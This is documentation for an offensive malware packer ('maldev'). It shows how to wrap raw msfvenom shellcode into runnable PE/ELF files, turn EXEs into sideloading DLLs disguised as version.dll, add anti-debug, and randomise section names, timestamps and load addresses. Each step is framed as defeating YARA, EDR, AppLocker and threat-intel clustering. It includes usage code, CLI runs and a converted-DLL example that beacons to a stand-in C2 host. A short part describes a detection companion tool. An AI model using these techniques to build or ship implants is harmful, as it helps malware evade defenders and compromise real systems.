- Smallest possible runnable bundle: a 2-payload Intel-vs-AMD dispatcher fits in ~550 bytes.
- Per-pack polymorphism via Intel-recommended multi-byte NOPs spliced at a safe slot — two packs of the same bundle produce distinct byte sequences.
- No Go runtime fingerprint.
Inconvénients:
- Payload must be raw position-independent shellcode (the stub jumps directly into the decrypted bytes). PE/ELF payloads need Mode 4.
PT_WIN_BUILDonly meaningful on Windows targets (V2NW readsPEB.OSBuildNumber); Linux V2-Negate stub treats the build-number predicate as a no-op (usePT_CPUID_VENDOR/PT_CPUID_FEATURES/PT_MATCH_ALLfor cross-platform predicates).
Mode 6 — PackShellcode (raw shellcode → runnable PE/ELF)
Shipped v0.81.0. Bridges the operator gap "I have raw shellcode bytes
(msfvenom, hand-rolled stage-1) and want a runnable .exe / .elf".
PackBinary rejects
non-PE / non-ELF inputs because it transforms existing sections in
place — there is nothing to transform when the input is bare bytes.
PackShellcode wraps the bytes in a minimal host first, then
optionally runs that host through PackBinary for the SGN-style stub
envelope.
// Plain wrap — runnable, shellcode at e_entry in cleartext.
exe, _, _ := packer.PackShellcode(sc, packer.PackShellcodeOptions{
Format: packer.FormatLinuxELF,
})
// Encrypted wrap — SGN-style stub decrypts in place + JMPs to entry.
exe, key, _ := packer.PackShellcode(sc, packer.PackShellcodeOptions{
Format: packer.FormatLinuxELF,
Encrypt: true,
})
CLI:
$ printf '\x48\xc7\xc0\xe7\x00\x00\x00\x48\xc7\xc7\x2a\x00\x00\x00\x0f\x05' > sc.bin
$ packer shellcode -in sc.bin -out plain.elf -format linux-elf
shellcode: 16 bytes → plain.elf (401 bytes, encrypt=false, format=linux-elf)
$ ./plain.elf; echo $?
42
$ packer shellcode -in sc.bin -out enc.elf -format linux-elf -encrypt
shellcode: 16 bytes → enc.elf (8192 bytes, encrypt=true, format=linux-elf)
2e93292902833d9ab1fb7316f9b9f5f835cfc6c2e15fc78ad1553d1b75bd8606
$ ./enc.elf; echo $?
42
| Property | Plain wrap | Encrypted wrap |
|---|---|---|
| Output | minimal PE / ELF | SGN-style packed PE / ELF |
| Size (16 B sc) | ~400 B | ~8 KiB |
| Shellcode at e_entry? | yes, cleartext | no — stub at e_entry |
| YARA the .text? | sees plaintext shellcode | sees ciphertext + stub |
| Per-pack polymorphism | no | yes (rounds + seed) |
| Use when | shellcode is pre-encrypted upstream, OR stealth not the concern | real-world EDR-facing ship |
Format-specific notes:
- Linux: a section-aware minimal ELF writer (
transform.BuildMinimalELF64WithSections) pre-reserves one phdr slot soInjectStubELFhas the headroom it needs to append its stub PT_LOAD. The Brian-Raiter-styleBuildMinimalELF64(no SHT) cannot be fed to PackBinary — PlanELF rejects it withErrNoTextSection. - Windows:
transform.BuildMinimalPE32Plusalready produces a PE with a real.textsection header; the chain works out of the box.
Per-build IOC randomisation: pass ImageBase / Vaddr (-base 0xHEX
on the CLI) to defeat YARA rules keyed on "tiny PE/ELF at standard
load address". Canonical bases (0x140000000 PE, 0x400000 ELF) are the
default; per-deployment values are derived from your secret via
packer.DeriveBundleProfile.
Avantages: the only path that takes shellcode end-to-end. Same
SGN-style stub envelope as PackBinary for Go binaries — operators
get one mental model regardless of payload shape.
Inconvénients:
- Shellcode must be position-independent (no relocations expected, no specific load address baked in). Standard for msfvenom output; hand-rolled stage-1 needs the same discipline.
- Encrypted shellcode + Windows shellcode that ends in
retrely on ntdll'sRtlUserThreadStartto callExitProcess(rax)for a clean exit code. Shellcode that needs explicit ExitProcess (e.g. when exec ends mid-stream, not via ret) must walk the PEB itself — msfvenom's templates already do this; hand-rolled stage-1 needs the same discipline or it crashes silently with0xc0000005.
DLL operations (Modes 7–10)
The four modes below all produce PE32+ DLLs instead of EXEs.
They unlock the operator playbook of running payloads inside a
host process via the Windows DLL load mechanism — sideloading,
classic injection, LOLBAS chains (rundll32, regsvr32),
search-order hijack, COM hijack. Each picks a different
trade-off between operator simplicity, OPSEC cleanliness, and
the input shape required.
Quick selector:
| Operator goal | Mode | Output |
|---|---|---|
| Pack an existing native DLL — preserve its DllMain | 7 (FormatWindowsDLL) | one DLL |
| Convert an EXE into a runnable DLL — payload spawns on attach | 8 (ConvertEXEtoDLL) | one DLL |
| Sideload an EXE under a fake DLL name — two-file drop, OK if drop policy allows | 9 (PackChainedProxyDLL) | two DLLs (proxy + payload) |
Sideload an EXE under a fake DLL name — single-file drop, no LoadLibraryA IOC in the IAT | 10 (PackProxyDLL) | one fused DLL |
Modes 7–10 share the same Phase 2 randomisation surface as
Mode 3 (RandomizeAll etc. — see Per-pack
randomisation below)
and the same DLL-input restrictions
(transform.ErrTLSCallbacks rejects mingw default builds,
transform.ErrIsDLL cross-checks input vs Format).
Mode 7 — FormatWindowsDLL (pack a native DLL)
You have a DLL with its own DllMain. You want to encrypt
its .text and ship a packed copy that LoadLibrary'd cleanly
runs the original DllMain. The payload semantic — what the
DLL DOES — is preserved verbatim; only the on-disk bytes of
the code section are obfuscated.
out, _, err := packer.PackBinary(input, packer.PackBinaryOptions{
Format: packer.FormatWindowsDLL, // ← was FormatWindowsExe
Stage1Rounds: 3,
Seed: 0,
AntiDebug: true,
RandomizeAll: true, // composes — see Phase 2 opts below
})
| Property | Value |
|---|---|
| Input | PE32+ DLL with IMAGE_FILE_DLL set + a non-empty .reloc table |
| Output | PE32+ DLL — LoadLibrary's natively |
| Encryption | SGN polymorphic encoder (per-round register-randomised) |
| Stub | DllMain prologue → decrypt-once flag check → SGN rounds → tail-jump to original DllMain |
| Process tree | One DLL hosted by whatever called LoadLibrary |
| Stub size | ~230 bytes (no compression) |
Avantages:
- Drop-in replacement for the original DLL.
- Original DllMain is preserved — every reason code
(
PROCESS_ATTACH,THREAD_ATTACH, …) still gets the right user-defined behaviour. - Composes with
RandomizeAll(8 Phase 2 randomisers).
Inconvénients:
- Requires the input to carry a populated
.relocdirectory. Mingwldfor x64 PE refuses to emit.reloceven with--enable-reloc-section + --dynamicbase(toolchain limitation, documented inpe/packer/testdata/testlib.c). Build the DLL with MSVC (cl /LD foo.c /link /DYNAMICBASE) or usetransform.BuildMinimalPE32Plusin tests. - The packed
.textis RWX at runtime (loud EDR signal). - Compress is unsupported in Mode 7 today
(
stubgen.ErrCompressDLLUnsupported) — the LZ4 inflate block isn't yet threaded through the DllMain stub layout.
Validated end-to-end on Win10 VM since v0.128.0
(TestPackBinary_FormatWindowsDLL_LoadLibrary_E2E). The
1-line MEM_WRITE fix in v0.128.0 closed the slice 4.5 gap
that had blocked real-loader validation since v0.111.0.
Mode 8 — ConvertEXEtoDLL (convert an EXE into a runnable DLL)
You have a Go EXE (or any -nostdlib Win32 EXE). You want
the SAME PAYLOAD to run when something LoadLibrary's a DLL,
so you can drop it into a sideload chain, inject it via
CreateRemoteThread-equivalents, or call it via rundll32.
The packer takes your EXE, encrypts .text, appends a
DllMain stub, and flips IMAGE_FILE_DLL. At runtime the
DllMain decrypts .text, resolves kernel32!CreateThread
via PEB walk (no IAT entry on CreateThread — invisible at
import-table inspection time), and spawns a new thread on
the original EXE's entry point. The DllMain returns TRUE
immediately; the loader is unblocked while the payload runs
in the spawned thread.
out, _, err := packer.PackBinary(exe, packer.PackBinaryOptions{
Format: packer.FormatWindowsExe, // input is EXE
ConvertEXEtoDLL: true, // ← convert at pack time
Stage1Rounds: 3,
Seed: 0,
Compress: true, // ✅ supported in Mode 8 (since v0.124.0)
AntiDebug: true, // ✅ supported in Mode 8 (since v0.122.0)
RandomizeAll: true,
})
With operator-controlled command-line (since v0.130.0):
// Bake a default argv into the converted DLL. The payload's
// GetCommandLineW / os.Args will return THESE bytes instead of
// the host process's cmdline (e.g. rundll32's).
out, _, err := packer.PackBinary(exe, packer.PackBinaryOptions{
Format: packer.FormatWindowsExe,
ConvertEXEtoDLL: true,
ConvertEXEtoDLLDefaultArgs: "agent.exe --beacon https://c2.example/cb --jitter 30",
Stage1Rounds: 3,
Seed: 0,
})
How it works: the stub reads the existing PEB.ProcessParameters.CommandLine.Buffer pointer, then REP MOVSBs the operator-supplied wide string into that buffer in place, and rewrites Length / MaximumLength. In-place mutation is required because kernel32!GetCommandLineW caches its result on first call — pointer-swap alone would be invisible to anything that initialised cmdline early (Go runtime, MSVC CRT, .NET, …).
| Property | Value |
|---|---|
| Input | PE32+ EXE (the same shapes Mode 3 accepts: Go static-PIE, mingw -nostdlib, …) |
| Output | PE32+ DLL with IMAGE_FILE_DLL set, encrypted .text, appended stub |
| Stub | DllMain prologue → decrypt-once flag check → SGN rounds → optional LZ4 inflate (Compress: true) → PEB-walk resolve CreateThread → CreateThread(NULL, 0, OEP, NULL, 0, NULL) → return TRUE |
| Process tree | One image hosted by the LoadLibrary'er; payload is a thread inside that process |
| Stub size | ~509 bytes (3 SGN rounds, no Compress) → ~700 bytes (with Compress) → +50 bytes if AntiDebug |
Avantages:
- The same Go EXE is now usable in BOTH Mode 3 (run as EXE) and Mode 8 (sideload as DLL) without rebuilding.
- Composes with
Compress(slice 5.7),AntiDebug(slice 5.6), and the full Phase 2 randomisation suite. - No
LoadLibraryAIAT entry — the proxy DLL imports nothing it doesn't already need. - Validated on Win10 VM with the
probe_converted.exefixture (writes"OK\n"from the spawned thread inside the host process — seeTestPackBinary_ConvertEXEtoDLL_LoadLibrary_E2E).
Inconvénients:
- The payload runs in a NEW thread that's still alive when
DllMain returns. If the host process tears down quickly
the payload may not finish —
Sleep(INFINITE)or proper thread synchronisation in your payload. - Without
ConvertEXEtoDLLDefaultArgsthe payload sees the HOST process's command line (rundll32 / sideload host) viaGetCommandLineW/os.Args, not arguments scoped to the DLL. SetConvertEXEtoDLLDefaultArgs(v0.130.0+) to bake an operator-controlled cmdline into the stub. ConvertEXEtoDLLDefaultArgsis hard-capped at 1500 chars at pack time (PackBinaryreturns a clear error past that — seepacker.maxConvertEXEtoDLLDefaultArgsRunes). The cap exists to keep the args buffer + stub asm under the 4 KiB (or 8 KiB withCompress: true) stub-section budget.- The asm-level patch is guarded at runtime: the stub reads
the existing
CommandLine.MaximumLengthfrom PEB before the REP MOVSB and SKIPS the patch entirely if the loader's buffer is too small. Payload then safely inherits the host cmdline rather than overflowing the heap. Validated on Win10 with rundll32: a 1400-char DefaultArgs trips the guard (rundll32 cmdline buffer is ~hundreds of bytes, not 2.8 KiB) and the payload sees rundll32's cmdline — no crash. - The PEB-buffer rewrite is permanent for the host process —
the host's own subsequent
GetCommandLineWcalls also return the new string. OPSEC trade-off when sideloading into a process that uses its own cmdline. - AntiDebug runs BEFORE the SGN/CreateThread path; positive detection (KVM tripping the RDTSC↔CPUID delta on most virtualised hosts) results in a SILENT no-op DLL load — loader sees BOOL TRUE, payload never runs. Bare-metal undebugged hosts fall through to the full pipeline.
Mode 9 — PackChainedProxyDLL (two-file sideloading bundle)
You want to drop a DLL named like a legitimate Windows DLL
(e.g. version.dll) next to a host EXE that imports from it.
The host loads the proxy, the proxy forwards every export
back to the real version.dll, AND the proxy's DllMain
LoadLibrary's a separate payload DLL that contains your
encrypted EXE. Two files: proxy DLL + payload DLL.
This is the operator-friendly composition: you call ONE function, get TWO byte streams, drop both side-by-side.
proxy, payload, _, err := packer.PackChainedProxyDLL(exe,
packer.ChainedProxyDLLOptions{
TargetName: "version", // → version.dll mirror
Exports: []dllproxy.Export{
{Name: "GetFileVersionInfoSizeW"},
{Name: "GetFileVersionInfoW"},
{Name: "VerQueryValueW"},
},
PayloadDLLName: "payload.dll", // proxy will LoadLibraryA this
PackOpts: packer.PackBinaryOptions{
Format: packer.FormatWindowsExe,
Stage1Rounds: 3,
Seed: 0,
},
})
// Write proxy as `version.dll` next to host EXE, payload as
// `payload.dll` in the same directory.
os.WriteFile("/dropdir/version.dll", proxy, 0o644)
os.WriteFile("/dropdir/payload.dll", payload, 0o644)
| Property | Value |
|---|---|
| Output | TWO DLLs: proxy (forwarder + LoadLibraryA stub) + payload (encrypted EXE-as-DLL) |
| Proxy size | ~3-5 KB (depends on export count + path scheme) |
| Payload size | Input size + ~600 B SGN stub |
| Forwarders | Perfect-DLL-proxy GLOBALROOT scheme by default — \\.\GLOBALROOT\SystemRoot\System32\version.<export> |
Avantages:
- Operator gets the two-file drop without wiring two emitters by hand.
- The legit-target's exports are forwarded transparently —
the host EXE's calls to
GetFileVersionInfoSizeWetc. all succeed, returning the real version.dll's results. - Payload DLL is independently swappable (re-pack
payload.dllwith new opts, leaveproxy.dllalone).
Inconvénients:
- Two-file drop — needs the operator to place both files successfully. AppLocker / WDAC policies that whitelist a single DLL by hash will catch the second drop.
- Proxy IAT carries
kernel32!LoadLibraryA— a detectable IOC for kits that fingerprint proxy DLLs by their import set. Mode 10 (PackProxyDLL) ships the single-file fused variant that eliminates this.
Mode 10 — PackProxyDLL (single-file fused proxy, no LoadLibraryA IOC)
The OPSEC-cleaner sibling of Mode 9. ONE PE that:
- Mirrors the legit target's exports (each forwarded via the perfect-dll-proxy absolute path).
- Carries the encrypted EXE payload inside the same PE (no
separate
payload.dllto drop). - Has NO
LoadLibraryAIAT entry —CreateThreadis resolved at runtime via PEB walk, so the proxy doesn't even needkernel32import.
fused, _, err := packer.PackProxyDLL(exe, packer.ProxyDLLOptions{
TargetName: "version",
Exports: []dllproxy.Export{
{Name: "GetFileVersionInfoSizeW"},
{Name: "GetFileVersionInfoW"},
{Name: "VerQueryValueW"},
},
PackOpts: packer.PackBinaryOptions{
Format: packer.FormatWindowsExe,
Stage1Rounds: 3,
Seed: 0,
},
})
// Single drop. Name it after the legit target.
os.WriteFile("/dropdir/version.dll", fused, 0o644)
| Property | Value |
|---|---|
| Output | ONE PE32+ DLL — IMAGE_FILE_DLL set, EXPORT directory populated, encrypted EXE in .text |
| Imports | None (CreateThread resolved via PEB walk) |
| Size | Input EXE + ~500 B SGN stub + ~200 B per export forwarder string |
| Forwarders | Perfect-DLL-proxy GLOBALROOT scheme by default |
Avantages:
- Single-file drop — most restrictive AppLocker policies permit a one-file replacement when the path/name match.
- Zero IAT entries — defeats import-table fingerprinting.
- Inherits all Mode 8 strengths (Compress, AntiDebug, full Phase 2 randomisation).
Inconvénients:
- The output is bigger than Mode 9's proxy (carries both the forwarders AND the encrypted payload).
- The export forwarders are visible in the PE on disk —
static analysis can see the
version.dllmirror. Use a differentTargetNamefor OPSEC variance, but it must still match a real DLL on the target host or the loader rejects the forwarders. - Implementation note: the fused emitter composes
PackBinary{ConvertEXEtoDLL: true}+transform.AppendExportSectiondllproxy.BuildExportData. ~200 LOC orchestrator. Original plan (packer-exe-to-dll-plan.mdslice 6 Path B) estimated ~450 LOC for a hand-rolled merged injector; composition saved ~250 LOC.
Strict end-to-end validation (since c9c0635,
2026-05-12): TestPackProxyDLL_Strict_E2E packs
probe_converted.exe, drops as version.dll, then asserts
both side effects on Win10 VM:
GetProcAddress("GetFileVersionInfoSizeW")resolves to the realversion.dll(loader follows the GLOBALROOT forwarder string).- The packed EXE's
main()runs in a spawned thread inside the host process — observable via the marker fileC:\maldev-probe-marker.txt.
When to pick which DLL mode — decision tree
Is your input a DLL with its own DllMain you want to keep?
YES → Mode 7 (FormatWindowsDLL) — preserve DllMain, encrypt .text
NO → input is an EXE
↓
Do you need EXPORTS (sideload as a fake legit DLL)?
NO → Mode 8 (ConvertEXEtoDLL) — minimal DLL output
YES → How strict is the drop policy?
Two files OK → Mode 9 (PackChainedProxyDLL)
Single file → Mode 10 (PackProxyDLL) ← OPSEC-cleanest
Composability with pe/dllproxy and pe/masquerade
pe/dllproxyshipsExport,PathScheme,BuildExportData— Mode 10 reuses all three. Operators can also calldllproxy.GenerateExtdirectly when they want a forwarder-only DLL with NO encrypted payload (pure sideloading, no implant).pe/masqueradeshipsResources(icon + manifest + version-info + cert) extraction/transplant viatc-hib/winres. The natural composition: extract resources from a legit DLL → pack EXE via Mode 10 → usewinres.LoadFromEXE + ResourceSet.WriteToEXEto transplant the legit resources onto the fused proxy. The Phase 2-F-3-c-3 RESOURCE walker (v0.125.0) ensures these transplanted resources surviveRandomizeAll.pe/parseexposesExports(path)— the natural input source for Mode 9 / Mode 10'sExportsfield. Extract fromC:\Windows\System32\version.dllon a Win10 host → feed the result straight intoPackProxyDLL.
Per-pack randomisation (Phase 2 opts)
The Mode 3 PackBinary example above shows a long list of
Randomize* flags. Each one defeats a specific class of
fingerprinting heuristic. None of them change the runtime
behavior of the packed binary — only its on-disk shape
or the VAs/headers a static analyst sees. They're all
opt-in (default false) so the "vanilla pack" stays
byte-reproducible, which several CI integrations rely on.
The shortcut RandomizeAll: true enables every opt that the
Win10 VM E2E test confirms is safe across heterogeneous
payloads. Two opts (RandomizeImageBase, RandomizeImageVAShift)
are deliberately NOT in the fan-out — they're EXPERIMENTAL,
gated on an unfinished walker suite, and can crash certain
binaries. Operators can still set them per-payload.
What each opt defeats — at a glance
| Opt | What changes in the file | What detection it defeats | Phase | Tag |
|---|---|---|---|---|
RandomizeStubSectionName | Last (stub) section name: .mldv → .xkqwz | YARA rules pinned to the literal .mldv byte sequence | 2-A | v0.94.0 |
RandomizeTimestamp | COFF TimeDateStamp field | Threat-intel pivots clustering samples by linker timestamp ("all linked Tue 14:32 UTC") | 2-B | v0.95.0 |
RandomizeLinkerVersion | Optional Header MajorLinker + MinorLinker | Pivots like "all samples linked with VS2017 14.16" | 2-C | v0.96.0 |
RandomizeImageVersion | Optional Header MajorImage + MinorImage | Per-binary version-stamp clustering | 2-D | v0.97.0 |
RandomizeAll | Every opt above + every opt below | Convenience aggregator (excludes EXPERIMENTAL) | 2-E | v0.98.0 |
RandomizeExistingSectionNames | Every host section name: .text/.rdata/.data → random .xxxxx | "section called .text is RWX → suspicious" + YARA rules pinned to host section labels | 2-F-1 | v0.99.0 |
RandomizeJunkSections | Append [1, 5] uninitialised BSS sections after the stub | "exact section count" heuristics + "stub is section[N-1]" patterns. File size unchanged (no file backing). | 2-F-2 | v0.100.0 |
RandomizePEFileOrder | Permute the file-layout order of host section bodies | YARA rules anchored at file offsets ("bytes at file 0x400 = decryption key"). Runtime image byte-identical (only file offsets change). | 2-F-3-b | v0.102.0 |
RandomizeImageBase | PE32+ Optional Header ImageBase + reloc-fixed pointer values | Heuristics on the canonical Go 0x140000000 preferred-base | 2-F-3-c | v0.106.0 (in RandomizeAll since v0.106.0 — earlier intermittent crashes were caused by missing reloc value fixup, fixed empirically) |
RandomizeImageVAShift | Every section's VA + reloc-fixed pointer values + import-descriptor RVAs | Heuristics on canonical VA layout (.text starts at 0x1000, OEP at 0x140001000) | 2-F-3-c-2 | v0.104.0 (in RandomizeAll since the IMPORT walker landed; covers Go static-PIE binaries) |
Concrete before/after
Pack winhello.exe twice from the same input + seed: once
vanilla, once with RandomizeAll. Then dump section tables
with the diagnostic CLI:
$ go run ./cmd/packer-vis sections vanilla.exe
file: vanilla.exe (1676288 bytes)
NumberOfSections: 9
COFF.PointerToSymbolTable: 0x198200 NumberOfSymbols: 0
# Name VA VirtSize RawOff RawSize Characteristics
0 .text 0x00001000 0x000a3ab1 0x00000600 0x000a3c00 0xe0000020 [CODE RWX]
1 .rdata 0x000a5000 0x000dd008 0x000a4200 0x000dd200 0x40000040 [DATA R]
2 .data 0x00183000 0x00057a28 0x00181400 0x0000dc00 0xc0000040 [DATA RW]
3 .pdata 0x001db000 0x00004be4 0x0018f000 0x00004c00 0x40000040 [DATA R]
4 .xdata 0x001e0000 0x000000a8 0x00193c00 0x00000200 0x40000040 [DATA R]
5 .idata 0x001e1000 0x0000055a 0x00193e00 0x00000600 0xc0000040 [DATA RW]
6 .reloc 0x001e2000 0x00003d4c 0x00194400 0x00003e00 0x42000040 [DATA R]
7 .symtab 0x001e6000 0x00000004 0x00198200 0x00000200 0x42000000 [R]
8 .mldv 0x001e7000 0x00001000 0x00198400 0x00001000 0x60000020 [CODE RX]
$ go run ./cmd/packer-vis sections randomized.exe
file: randomized.exe (1676288 bytes)
NumberOfSections: 11 # ← +2 from RandomizeJunkSections
COFF.PointerToSymbolTable: 0xe2800 # ← moved by RandomizePEFileOrder
# Name VA VirtSize RawOff RawSize Characteristics
0 .jgvcc 0x00001000 0x000a3ab1 0x000e7c00 0x000a3c00 0xe0000020 [CODE RWX]
1 .tzmsj 0x000a5000 0x000dd008 0x00000600 0x000dd200 0x40000040 [DATA R]
2 .vwwcw 0x00183000 0x00057a28 0x0018b800 0x0000dc00 0xc0000040 [DATA RW]
3 .soffy 0x001db000 0x00004be4 0x000e2a00 0x00004c00 0x40000040 [DATA R]
4 .lnfio 0x001e0000 0x000000a8 0x000dd800 0x00000200 0x40000040 [DATA R]
5 .raoac 0x001e1000 0x0000055a 0x000e7600 0x00000600 0xc0000040 [DATA RW]
6 .dinxv 0x001e2000 0x00003d4c 0x000dda00 0x00003e00 0x42000040 [DATA R]
7 .etahy 0x001e6000 0x00000004 0x000e2800 0x00000200 0x42000000 [R]
8 .hrukp 0x001e7000 0x00001000 0x000e1800 0x00001000 0x60000020 [CODE RX]
9 .rsnnn 0x001e8000 0x00001000 0x00000000 0x00000000 0x40000080 [BSS R]
10 .klvpv 0x001e9000 0x00001000 0x00000000 0x00000000 0x40000080 [BSS R]
What changed on disk:
- Names — every section, including the appended stub, got a
random
.xxxxxname (Phase 2-F-1 + 2-A). - File layout —
.jgvcc(was.text) is now at file offset0xe7c00instead of0x600;.tzmsj(was.rdata) is at0x600instead of0xa4200(Phase 2-F-3-b). - Section count — 9 → 11;
.rsnnnand.klvpvare zero-byte BSS placeholders the loader maps as zero-filled but consume no file bytes (Phase 2-F-2). - COFF.PointerToSymbolTable correctly tracks the new file position of the section that carried it.
What did NOT change:
- Every section's
VAandVirtSizeis identical between the two packs. The runtime memory image is byte-identical. - File size: identical (1676288 bytes). Phase 2-F-2 separators carry no file bytes; Phase 2-F-3-b just shuffles existing bodies.
- The stub still runs, the
.textstill decrypts, the payload still prints"hello from windows"(validated by Win10 VM E2ETestPackBinary_WindowsPE_RandomizeAll_E2E).
Recipes — common operator goals
| Goal | Opt combo |
|---|---|
| Cheapest "looks different" — defeat shallow YARA + sample-clustering by linker metadata, ~zero risk | RandomizeStubSectionName + RandomizeTimestamp + RandomizeLinkerVersion + RandomizeImageVersion |
| All defaults defeated — ship one variant per target with maximum on-disk + structural variance, validated end-to-end | RandomizeAll: true |
File-offset YARA only — the rule says at offset 0x400 expect bytes XX YY ZZ and we need to defeat just that | RandomizePEFileOrder: true (one opt; no header changes, runtime image untouched) |
| Section-count hunting — analyst keys on "Go binary always has 8 sections" | RandomizeJunkSections: true (per-pack count drawn from [1, 5]) |
Reproducible build — operator-supplied Seed produces deterministic output across runs of PackBinary (useful for diff tooling, batch-pack pipelines) | Set opts.Seed to any non-zero int64. All Randomize* opts seed from this value with per-opt offsets so they decorrelate. |
| Maximum stealth, accept the experimental risk — also push VAs around | RandomizeAll: true + RandomizeImageBase: true. Test on the actual payload before deploying — VA experiments can crash some Go versions. |
Composing with the operator-side Seed
When opts.Seed != 0, every randomiser derives its math/rand
stream from Seed + perOptOffset. The offsets (defined as
seedOffset* constants in pe/packer/packer.go) are fixed per
opt, so two packs with the same Seed produce byte-identical
outputs. Two packs with different Seed values produce
different outputs even when only ONE opt is enabled.
When opts.Seed == 0, the packer draws ONE crypto-random seed
from random.Int64() at the top of PackBinary and feeds it
to every enabled randomiser via the same offset scheme. Result:
crypto-random output across runs, but still single-syscall on
the random source.
This means an operator scripting a batch pack can choose between:
Seed: 0(default) — fresh per-pack crypto-random output, no operator state to track.Seed: <some int64>— deterministic output, useful when the same artefact must be regenerated bit-for-bit on a different machine.Seed: <derived from per-target string>— a poor man's "fingerprint as seed" that produces the same artefact for the same target without storing any state.
Validation
Two safety nets keep the per-pack randomisation honest:
- Unit + integration tests in
pe/packer/— every opt has a_PreservesInputtest (default-off → byte-stable behaviour matches v0.93 baseline) and a_DeterministicGivenSeedtest (same seed → same output). - Win10 VM end-to-end test —
TestPackBinary_WindowsPE_RandomizeAll_E2E(build-tag gated) packswinhello.exewithRandomizeAll: true, executes the resulting PE on a real Windows VM, and asserts stdout contains"hello from windows". This is the gate before adding any new opt to theRandomizeAllfan-out.
The Phase 2-F-3-c experimental opts (RandomizeImageBase,
RandomizeImageVAShift) are excluded from RandomizeAll
precisely because they don't yet pass this Win10 E2E. The
walker-suite roadmap that will let them join is in
.dev/refactor-2026/packer-2f3c-walker-suite-plan.md.
Per-build IOC randomisation — Kerckhoffs
Per Kerckhoffs's principle: the algorithm is public; only the secret
is the operator's. The wire format spec is in
.dev/superpowers/specs/2026-05-08-packer-multi-target-bundle.md —
reproducible by anyone. The per-build secret (any string the
operator picks per deployment) derives via HKDF-SHA256 (RFC 5869,
v0.83.0+) to:
| IOC byte layer | What it is | Derivation |
|---|---|---|
BundleMagic (4 B at offset 0) | Bundle blob magic | HKDF(secret, "maldev/bundle/magic", 4) |
FooterMagic (8 B at end of wrap) | Launcher trailer sentinel | HKDF(secret, "maldev/bundle/footer", 8) |
BundleVersion (2 B at offset 4) | Wire format version field | `HKDF(secret, "maldev/bundle/version", 2) |
Vaddr (8 B in p_vaddr/p_paddr) | All-asm ELF load address | HKDF(secret, "maldev/bundle/vaddr", 8) (page-aligned, user-space half) |
Each field's HKDF expansion uses a purpose-bound label, so flipping
bits in one field gives an attacker no algebraic handle on the
others — they are statistically independent rather than slices of
the same hash. Pre-v0.83.0 builds used sha256(secret)[a:b] slicing;
bundles produced under that scheme are NOT compatible with v0.83.0+
when a non-empty secret is set. Re-pack at the migration boundary.
A defender writing yara on canonical builds matches "MLDV at offset 0", "version field == 1", "PT_LOAD at vaddr 0x400000". A defender facing per-build artefacts matches none of those without the secret in hand.
profile := packer.DeriveBundleProfile([]byte("op-2026-05-09-targetA"))
// profile.Magic, .FooterMagic, .Version, .Vaddr all set.
bundle, _ := packer.PackBinaryBundle(payloads, packer.BundleOptions{Profile: profile})
wrapped := packer.AppendBundleWith(launcher, bundle, profile)
The launcher needs the SAME secret at build time:
$ go build -ldflags "-X main.bundleSecret=op-2026-05-09-targetA" \
-o bundle-launcher ./cmd/bundle-launcher
packer bundle -wrap prints this build line as a hint when given
-secret.
What this protects against:
- Static signature pivots across deployments.
- IOC sharing between operators / between ops cycles.
- Stub byte signatures across packs (per-pack NOP polymorphism is independent of the secret — every pack is unique even within a single deployment).
What this does NOT protect against:
- An analyst who has the secret. The wire format is documented;
recovery is mechanical via the *With variants of the parser API
or via
cmd/packerscope -secret. - Yara rules keyed on the structural shape of the produced
binary (single-PT_LOAD-RWX ELF for the all-asm path; appended
.mldvsection for PackBinary). Defenders writing shape rules match every build regardless of secret.
Defender pair — cmd/packerscope
Symmetric companion: detect, dump, and extract maldev artefacts. Algorithm is public, so this tool exists.
# Identify what kind of artefact a file is.
$ packerscope detect ./suspect.bin
kind: launcher-wrapped
- MLDV-END-style footer at end of file
# Dump the wire-format structure.
$ packerscope dump ./bundle.bin
artefact: raw-bundle (139 bytes)
bundle: magic=0x56444c4d version=0x1 count=1 fallback=0
[0] pred=0x08 vendor="*" build=[0, 0] data=0x70..+27
# Extract decrypted payload(s) to disk.
$ packerscope extract ./bundle.bin -out ./extracted/
payload 00: 27 bytes → ./extracted/payload-00.bin
For per-build artefacts, pass the operator's secret:
$ packerscope detect -secret "op-2026-05-09-targetA" ./mystery.bin
kind: launcher-wrapped
- MLDV-END-style footer at end of file
Without the secret, per-build artefacts return kind: unknown plus
a structural-hint line ("looks like a tiny single-PT_LOAD-RWX ELF
(suggestive); -secret may be needed").
Use cases:
- Blue team confirming an extracted suspect is one of theirs (e.g., red-team operator's bundle that escaped scope).
- Operator sanity-checking their own build before shipping.
- Integration-test ground truth for yara rules.
Visualisation — cmd/packer-vis
Terminal art for understanding what the packer does. No TUI framework, pure stdlib + ANSI 256 colours.
# Shannon entropy heatmap, 256-byte windows. Cool blue = code/ASCII;
# hot red = encrypted/compressed. Run before+after `packer pack`
# to see the .text region flip.
$ packer-vis entropy ./input.exe
# Side-by-side, with average-entropy delta:
$ packer-vis compare ./input.exe ./packed.exe
delta: size +1832 bytes entropy +2.43 bits/byte
← strong randomness gain (encryption/compression)
# Bundle wire-format viz — boxed ASCII art, one box per entry,
# offsets + sizes annotated.
$ packer-vis bundle ./bundle.bin
bundle.bin
124 bytes | magic=0x56444c4d version=0x1 count=2 fallback=0
┌─ BundleHeader ─────────────────────────────────────┐
│ 0x00..0x20 magic + version + count + offsets │
│ fpTable=0x20 plTable=0x80 data=0xc0 │
└────────────────────────────────────────────────────┘
┌─ [0] FingerprintEntry @ 0x20 ────────────────────┐
│ predType=0x01 vendor="GenuineIntel" build=[22000, 99999] │
└────────────────────────────────────────────────────┘
…
Pedagogical: an operator (or a code reviewer) sees the structure described in this doc as a thing on screen, not just a byte table.
CLI Reference — cmd/packer
packer pack -in <file> -out <file> [-format blob|windows-exe|linux-elf]
[-rounds 3] [-seed N]
[-compress] [-antidebug] [-randomize]
[-cover] [-keyout <file>] [-key <hex64>]
packer unpack -in <file> -out <file> -key <hex32>
packer bundle -out <file> -pl <spec> [-pl <spec> ...]
[-fallback exit|crash|first]
[-secret <s>]
packer bundle -inspect <bundle>
packer bundle -match <bundle>
packer bundle -wrap <launcher> -bundle <bundle> -out <exe>
[-secret <s>]
packer shellcode -in <sc> -out <bin> [-format windows-exe|linux-elf]
[-encrypt] [-base 0xHEX]
[-rounds N] [-seed S]
[-key <hex32>] [-keyout <file>]
The shellcode subcommand (Mode 6) wraps raw position-independent
shellcode in a runnable host PE / ELF. -encrypt chains through
PackBinary's SGN-style stub envelope; without -encrypt, the
shellcode sits at the entry point in cleartext (smaller output,
trivially YARA-able).
Bundle spec syntax (-pl):
<file>:<vendor>:<min>-<max>
vendor ∈ {intel | amd | *} (* = any vendor)
min/max = Windows build number (use * for "no bound")
e.g. -pl payload-w11.exe:intel:22000-99999
